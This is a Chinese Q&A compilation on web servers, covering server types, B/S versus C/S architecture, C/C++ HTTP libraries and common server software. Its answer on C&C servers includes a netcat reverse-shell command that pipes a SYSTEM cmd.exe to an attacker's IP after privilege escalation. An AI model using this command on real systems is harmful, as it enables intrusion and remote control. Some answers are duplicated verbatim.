1、web伺服器和應用伺服器的區別?
一、指代不同
1、web伺服器:叫網頁伺服器或web伺服器。WEB伺服器也稱為WWW(WORLD WIDE WEB)伺服器,主要功能是提供網上信息瀏覽服務。
2、應用伺服器:指通過各種協議把商業邏輯曝露給客戶端的程序。
二、功能不同
1、web伺服器:可以解析(handles)HTTP協議。當Web伺服器接收到一個HTTP請求(request),會返回一個HTTP響應(response),例如送回一個HTML頁面。
2、應用伺服器:提供了訪問商業邏輯的途徑以供客戶端應用程序使用。應用伺服器使用此商業邏輯就像調用對象的一個方法一樣。

三、特點不同
1、web伺服器:傳送(serves)頁面使瀏覽器可以瀏覽。
2、應用伺服器:應用程序伺服器是通過很多協議來為應用程序提供(serves)商業邏輯(business logic)。
2、用C寫了個web伺服器 現在可以解析靜態html和圖片了 可是怎麼去解析php動態文件呢
下載PHP的最新版本使你寫的東西對他實現支持,PHP解析後象向你的伺服器提供靜態代碼
3、請告知現代流行的web伺服器有哪些?以及B/S與C/S的區別?
Tomcat websqhere weblogic
bs 是伺服器和客戶端瀏覽器 不需要安裝客戶端 有瀏覽器就行
cs是客戶端和伺服器 需要安裝客戶端
B/S模式的優點和缺點
B/S結構的優點
(1)、具有分布性特點,可以隨時隨地進行查詢、瀏覽等業務處理。
(2)、業務擴展簡單方便,通過增加頁面即可增加伺服器功能。
(3)、維護簡單方便,只需要改變網面,即可實現所有用戶的同步更新。
(4)、共享性強
B/S 模式的缺點
(1)、響應速度不及C/S,隨著AJAX技術的發展,相比傳統B/S結構軟體提升一倍速度。
(2)、用戶體驗效果不是很理想,B/S需要單獨界面設計,廠商之間的界面也是千差萬別,由於瀏覽器刷新機制,使用時有刷屏現象,好在AJAX技術解決這一難題,像用友,智贏等開發的B/S架構軟
件用戶體驗效果與C/S差不多。
C/S 模式的優點和缺點
C/S 模式的優點
1.由於客戶端實現與伺服器的直接相連,沒有中間環節,因此響應速度較快。
3.C/S結構的管理信息系統具有較強的事務處理能力。
C/S 模式的缺點
1.只適用於區域網。而隨著互聯網的飛速發展,移動辦公和分布式辦公越來越普及,這需要我們的系統具有擴展性。這種方式遠程訪問需要專門的技術,同時要對系統進行專門的設計來處理分布式
的數據。
2.客戶端需要安裝專用的客戶端軟體。首先涉及到安裝的工作量,其次任何一台電腦出問題,如病毒、硬體損壞,都需要進行安裝或維護。特別是有很多分部或專賣店的情況,不是工作量的問題,
而是路程的問題。還有,系統軟體升級時,每一台客戶機需要重新安裝,其維護和升級成本非常高。
3.對客戶端的操作系統一般也會有限制。可能適應於Win98, 但不能用於win2000或Windows XP。或者不適用於微軟新的操作系統等等,更不用說Linux、Unix等。
4、有沒有用C或c++寫的web伺服器
cpp-net lib cpp-netlib: The C++ Network Library,號稱是要進入標準的,但是感覺還不stable;
facebook做了一個HTTP庫 facebook/proxygen · GitHub,只對Linux系統比較友好;
另外還有一個叫pion的HTTP庫 splunk/pion · GitHub
C/C++好的網路庫有很多,像asio, libevent, libuv等的性能都是極好的,可以在這個基礎上加上HTTP協議解析,比如用joyent的http_parser,然後就是處理HTTP協議本身了,但這個時候問題就來了,是支持到1.1還是2.0?要不要支持SPDY、WebSocket?
沒有GC的語言處理字元串是很虐心的,如果一定要強求用C++,那我只能安慰題主:node也是C++寫的,你就當node的框架是C++ Web伺服器咯~
更好的選擇是用nginx,靠譜,實用。
5、什麼是C&C伺服器
C&C 伺服器的全稱是 Command and Control Server,翻譯過來就是命令和控制伺服器
通常在做滲透測試的時候,在拿到一個 webshell 的時候,需要對伺服器進行提權操作,如果是一台 windows 的伺服器,提權的時候通常是利用本地提權漏洞的 exp 進行溢出提權,有些 exp 可以直接在後面加參數,溢出成功之後執行參數中的命令。
而有的 exp 溢出成功之後是返回一個 system 許可權的 cmd,這時就需要將低許可權的 cmd shell 反彈回本地,這里用 nc 在本地執行:nc -vv -lp 3333
上述命令的意思是在本地監聽一個 3333 埠等待連接,假設電腦 IP 是公網的,並且 IP 為 114.114.114.114,然後在目標伺服器就可以執行:nc 114.114.114.114 3333 -e cmd.exe
上面的命令就可以把遠程伺服器的伺服器許可權的 cmd shell 返回到本地,這時你就可以通過 nc 建立的這個 shell 進行通信,發送你要執行的命令,在遠程伺服器接收到命令之後執行並將結果返回,這時本機電腦就是一個簡易的 C&C 伺服器。

(5)cweb伺服器擴展資料:
C&C 伺服器使目標機器可以接收來自伺服器的命令,從而達到伺服器控制目標機器的目的。該方法常用於病毒木馬控制被感染的機器。
通常只有這樣內網的伺服器才可以訪問進行連接,所以可以使用一台中轉伺服器,這台中轉伺服器有一個公網 IP 地址是:111.111.111.111,這樣不管是目標伺服器還是我們本機都可以訪問這台中轉伺服器。
這里中轉伺服器的作用就是本地內網的主機監聽的埠映射到公網 IP 的某個埠,這樣目標機訪問中轉伺服器監聽的埠就相當於訪問了我們本地監聽的埠。
6、如何用c語言在windows環境下實現簡單的web伺服器
用C語言開發WEB,可以用C++BUILDER6,稱ISAPI,一般人可能做不起來,有點麻煩;
唯一是速度很快,別人看不到源碼,掌握了編程套路,也可以開發應用;
缺點:
1。不是解釋性語言,做的WEB調試非常麻煩;現在做WEB開發的,用C#、JAVA較多;都是解釋性的語言;
2。因為是.DLL的二進制代碼,一般商業網站不給予運行的環境,因為網站伺服器會被你可能搞癱,安全性得不到保障;所以,你得自備網頁伺服器;
3。得不到技術支持,因為沒幾個人會這種開發;
7、如何用C語言開發一個通用web伺服器?
用C語言開發WEB,可以用C++BUILDER6,稱ISAPI,一般人可能做不起來,有點麻煩;
唯一是速度很快,別人看不到源碼,掌握了編程套路,也可以開發應用;
缺點:
1。不是解釋性語言,做的WEB調試非常麻煩;現在做WEB開發的,用C#、JAVA較多;都是解釋性的語言;
2。因為是.DLL的二進制代碼,一般商業網站不給予運行的環境,因為網站伺服器會被你可能搞癱,安全性得不到保障;所以,你得自備網頁伺服器;
3。得不到技術支持,因為沒幾個人會這種開發;
8、常用的web伺服器軟體有哪些
1.IIS
IIS是英文Internet Information Server的縮寫,譯成中文就是"Internet信息服務"的意思。它是微軟公司主推的伺服器,最新的版本是Windows2008裡麵包含的IIS 7,IIS與Window Server完全集成在一起,因而用戶能夠利用Windows Server和NTFS(NT File System,NT的文件系統)內置的安全特性,建立強大,靈活而安全的Internet和Intranet站點。
2.ApacheApache
ApacheApache在世界上的排名是第一的,它可以運行在幾乎所有廣泛使用的計算機平台上。Apache源於NCSAhttpd伺服器,經過多次修改,不僅簡單、速度快、而且性能穩定,還可以用來做代理伺服器。

3.Nginx
Nginx不僅是一個小巧且高效的HTTP伺服器,也可以做一個高效的負載均衡反向代理,通過它接受用戶的請求並分發到多個Mongrel進程可以極大提高Rails應用的並發能力。
4.Zeus
Zeus是一個運行於Unix下的非常優秀的Web Server,據說性能超過Apache,是效率最高的Web Server之一。
5.Sun
Sun的Java系統Web伺服器也就是以前的Sun ONE Web Server。主要出現在那些運行Sun的Solaris操作系統的關鍵任務級Web伺服器上。它最新的版本號是6.1,可以支持x86版本Solaris,Red Hat Linux,HP-UX 11i, IBM AIX,甚至可以支持Windows,但它的大多數用戶都選擇了SPARC版本的Solaris操作系統。
9、有沒有C++的web伺服器?
C++單獨作為應用服務的伺服器較少,http伺服器有一些的。比如IIS、apache、nginx,d都是基於C/C++的web伺服器,國產的有數蠶web伺服器,完全使用C++,基於Linux epoll模型。
如果C++服務端要求簡單,可以直接基於socket編寫。如果通信場景復雜,建議使用成熟的C++網路庫,如POCO、cpp-net、boost-asio、數蠶網路通信庫。